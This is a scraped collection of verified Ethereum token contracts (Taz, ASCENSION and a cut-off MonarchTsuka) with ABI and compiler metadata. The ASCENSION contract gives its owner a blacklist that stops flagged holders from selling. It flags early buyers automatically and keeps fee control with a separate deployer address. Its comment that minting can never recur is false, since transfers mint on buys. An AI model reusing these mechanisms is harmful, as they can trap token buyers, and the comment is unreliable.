ITazorAuthority","name":"_newAuthority","type":"address"}],"name":"setAuthority","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.5+commit.eb77ed08

0000000000000000000000003f131f9f16dfb4a0e9b00edead457b74bf932e0b

Default

None

ipfs://51055185ee9e892e0becbed29a435706590af3a35c43f8c4cbd6d2cd3fe54c72

Taz

contracts/types/TazorAccessControlled.sol

0x601fb6c33f24bcb6daf2c1d6d570495f1c018800

Solidity

abstract contract TazorAccessControlled { /* ========== EVENTS ========== */ event AuthorityUpdated(ITazorAuthority indexed authority); string UNAUTHORIZED = "UNAUTHORIZED"; // save gas /* ========== STATE VARIABLES ========== */ ITazorAuthority public authority; /* ========== Constructor ========== */ constructor(ITazorAuthority _authority) { authority = _authority; emit AuthorityUpdated(_authority); } /* ========== MODIFIERS ========== */ modifier onlyGovernor() { require(msg.sender == authority.governor(), UNAUTHORIZED); _; } modifier onlyGuardian() { require(msg.sender == authority.guardian(), UNAUTHORIZED); _; } modifier onlyPolicy() { require(msg.sender == authority.policy(), UNAUTHORIZED); _; } modifier onlyVault() { require(authority.vaults(msg.sender) == true, UNAUTHORIZED); _; } /* ========== GOV ONLY ========== */ function setAuthority(ITazorAuthority _newAuthority) external onlyGovernor { authority = _newAuthority; emit AuthorityUpdated(_newAuthority); } }

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ITazorAuthority","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"burnFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract ITazorAuthority","name":"_newAuthority","type":"address"}],"name":"setAuthority","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.5+commit.eb77ed08

0000000000000000000000003f131f9f16dfb4a0e9b00edead457b74bf932e0b

Default

None

ipfs://51055185ee9e892e0becbed29a435706590af3a35c43f8c4cbd6d2cd3fe54c72

Taz

contracts/TazERC20.sol

0x601fb6c33f24bcb6daf2c1d6d570495f1c018800

Solidity

contract Taz is ERC20Permit, ITAZOR, TazorAccessControlled { using SafeMath for uint256; constructor(address _authority) ERC20("TAZ", "TAZ", 9) ERC20Permit("TAZ") TazorAccessControlled(ITazorAuthority(_authority)) { // _totalSupply = 24_000_000 * 10**9; _mint(msg.sender, 24_000_000 * 10**9); } function mint(address account_, uint256 amount_) external override onlyVault { _mint(account_, amount_); } function burn(uint256 amount) external override onlyVault { _burn(msg.sender, amount); } function burnFrom(address account_, uint256 amount_) external override onlyVault { _burnFrom(account_, amount_); } function _burnFrom(address account_, uint256 amount_) internal { uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub(amount_, "ERC20: burn amount exceeds allowance"); _approve(account_, msg.sender, decreasedAllowance_); _burn(account_, amount_); } }

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ITazorAuthority","name":"_newAuthority","type":"address"}],"name":"setAuthority","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.5+commit.eb77ed08

0000000000000000000000003f131f9f16dfb4a0e9b00edead457b74bf932e0b

Default

None

ipfs://51055185ee9e892e0becbed29a435706590af3a35c43f8c4cbd6d2cd3fe54c72

ASCENSION

ASCENSION.sol

0xd19ca09eaf160779d20579aabbf54f9bf89a8e29

Solidity

/* He did not leave us forever He will return... just in time https://medium.com/@ascensionchristians LFG to the heaven */ // SPDX-License-Identifier: MIT pragma solidity 0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function factory() external view returns (address); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } _transfer(sender, recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ASCENSION is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); mapping (address => bool) public isBot; bool private _swapping; bool private _isBuy; uint256 private _launchTime; address private devWallet; address public _Deployer; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMintFee; uint256 public sellTotalFees; uint256 public sellBurnFee; uint256 public sellDevFee; uint256 public tokensForMint; uint256 public tokensForDev; uint256 public tokensForBurn; uint256 public _totalBurned; uint256 public _totalMinted; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event devWalletUpdated(address indexed newWallet, address indexed oldWallet); constructor(address depAddr) ERC20("ascension", unicode"CHRISTIAN") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMintFee = 0; uint256 _sellBurnFee = 0; // uint256 _sellDevFee = 2; // uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn maxWallet = totalSupply * 1 / 100; // 2% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet // Set Fees buyMintFee = _buyMintFee; buyTotalFees = buyMintFee; sellBurnFee = _sellBurnFee; sellDevFee = _sellDevFee; sellTotalFees = sellBurnFee + sellDevFee; // Set Fee Wallet devWallet = depAddr; // set as dev wallet _Deployer = depAddr; // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp.add(2); } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * 1e18; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * 1e18; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 _mintFee) external { require(_msgSender() == _Deployer); buyMintFee = _mintFee; buyTotalFees = buyMintFee; require(buyTotalFees <= 100, "Must keep fees at 10% or less"); } function updateSellFees(uint256 _burnFee, uint256 _devFee) external { require(_msgSender() == _Deployer); sellBurnFee = _burnFee; sellDevFee = _devFee; sellTotalFees = sellBurnFee + sellDevFee; require(sellTotalFees <= 100, "Must keep fees at 20% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } // Variable Block - once enabled, can never be turned off function enableTrading(uint256 Bblock) external onlyOwner { tradingActive = true; _launchTime = block.timestamp.add(Bblock); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function addBots(address[] memory bots) public onlyOwner() { for (uint i = 0; i < bots.length; i++) { if (bots[i] != uniswapV2Pair && bots[i] != address(uniswapV2Router)) { isBot[bots[i]] = true; } } } function removeBots(address[] memory bots) public onlyOwner() { for (uint i = 0; i < bots.length; i++) { isBot[bots[i]] = false; } } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!isBot[from], "Your address has been marked as a bot/sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp < _launchTime) isBot[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_swapping ) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // On buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // On sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) takeFee = false; uint256 buyFees = 0; uint256 sellFees = 0; // Only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // On sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ _isBuy = false; sellFees = amount.mul(sellTotalFees).div(10000); tokensForDev += sellFees * sellDevFee / sellTotalFees; tokensForBurn += sellFees * sellBurnFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { _isBuy = true; buyFees = amount.mul(buyTotalFees).div(10000); tokensForMint += buyFees * buyMintFee / buyTotalFees; _mint(to, tokensForMint); _totalMinted += tokensForMint; tokensForMint = 0; } if (sellTotalFees > 0 && !_isBuy) { super._transfer(from, address(this), sellFees); _burn(address(this), tokensForBurn); _totalBurned += tokensForBurn; tokensForBurn = 0; amount -= sellFees; } } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); bool success; if(contractBalance == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } _swapTokensForEth(contractBalance); tokensForDev = 0; (success,) = address(devWallet).call{value: address(this).balance}(""); } function totalBurned() public view returns (uint256) { return _totalBurned; } function totalMinted() public view returns (uint256) { return _totalMinted; } }

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v0.8.11+commit.d7f03943

0000000000000000000000006bb849d01dae7a3677eabd1b6513d155bcfa6f6a

Default

None

ipfs://1dbee98b9b9214e942d61aa73a56697152e5fada1e1cdc2e2432c86c59d48ad9

MonarchTsuka

MonarchTsuka.sol

0xaa49e40d47a3a8e0f3e4d4849f71639a8bdeb9e1

Solidity

/** Monarch Tsuka raised Dejitaru as his own, a prodigy. Monarch is here to continue providing support, guidance & funds to the Dejitaru Tsuka project Taxes: 3% Marketing and Tsuka Buyback+Burn Max TX and Wallet: 2% Website: monarchtsuka.com TG: t.me/MonarchTsuka Renounce and LP Lock */ // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function 